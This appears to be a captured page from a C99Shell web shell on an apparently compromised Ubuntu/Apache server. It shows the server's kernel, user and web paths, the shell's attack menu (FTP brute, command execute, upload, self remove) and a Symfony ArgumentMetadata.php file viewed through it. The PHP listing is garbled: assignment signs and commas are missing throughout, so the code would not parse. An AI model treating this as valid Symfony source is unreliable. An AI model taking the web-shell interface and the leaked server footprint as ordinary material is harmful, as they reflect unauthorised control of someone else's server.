!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/symfony/http-kernel/ControllerMetadata/   drwxrwxr-x
Free 13.23 GB of 57.97 GB (22.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArgumentMetadata.php (3.32 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\ControllerMetadata;

/**
 * Responsible for storing metadata of an argument.
 *
 * @author Iltar van der Berg <kjarli@gmail.com>
 */
class ArgumentMetadata
{
    public const 
IS_INSTANCEOF 2;

    private 
string $name;
    private ?
string $type;
    private 
bool $isVariadic;
    private 
bool $hasDefaultValue;
    private 
mixed $defaultValue;
    private 
bool $isNullable;
    private array 
$attributes;

    
/**
     * @param object[] $attributes
     */
    
public function __construct(string $name, ?string $typebool $isVariadicbool $hasDefaultValuemixed $defaultValuebool $isNullable false, array $attributes = [])
    {
        
$this->name $name;
        
$this->type $type;
        
$this->isVariadic $isVariadic;
        
$this->hasDefaultValue $hasDefaultValue;
        
$this->defaultValue $defaultValue;
        
$this->isNullable $isNullable || null === $type || ($hasDefaultValue && null === $defaultValue);
        
$this->attributes $attributes;
    }

    
/**
     * Returns the name as given in PHP, $foo would yield "foo".
     */
    
public function getName(): string
    
{
        return 
$this->name;
    }

    
/**
     * Returns the type of the argument.
     *
     * The type is the PHP class in 5.5+ and additionally the basic type in PHP 7.0+.
     */
    
public function getType(): ?string
    
{
        return 
$this->type;
    }

    
/**
     * Returns whether the argument is defined as "...$variadic".
     */
    
public function isVariadic(): bool
    
{
        return 
$this->isVariadic;
    }

    
/**
     * Returns whether the argument has a default value.
     *
     * Implies whether an argument is optional.
     */
    
public function hasDefaultValue(): bool
    
{
        return 
$this->hasDefaultValue;
    }

    
/**
     * Returns whether the argument accepts null values.
     */
    
public function isNullable(): bool
    
{
        return 
$this->isNullable;
    }

    
/**
     * Returns the default value of the argument.
     *
     * @throws \LogicException if no default value is present; {@see self::hasDefaultValue()}
     */
    
public function getDefaultValue(): mixed
    
{
        if (!
$this->hasDefaultValue) {
            throw new 
\LogicException(sprintf('Argument $%s does not have a default value. Use "%s::hasDefaultValue()" to avoid this exception.'$this->name__CLASS__));
        }

        return 
$this->defaultValue;
    }

    
/**
     * @return object[]
     */
    
public function getAttributes(string $name nullint $flags 0): array
    {
        if (!
$name) {
            return 
$this->attributes;
        }

        
$attributes = [];
        if (
$flags self::IS_INSTANCEOF) {
            foreach (
$this->attributes as $attribute) {
                if (
$attribute instanceof $name) {
                    
$attributes[] = $attribute;
                }
            }
        } else {
            foreach (
$this->attributes as $attribute) {
                if (
\get_class($attribute) === $name) {
                    
$attributes[] = $attribute;
                }
            }
        }

        return 
$attributes;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--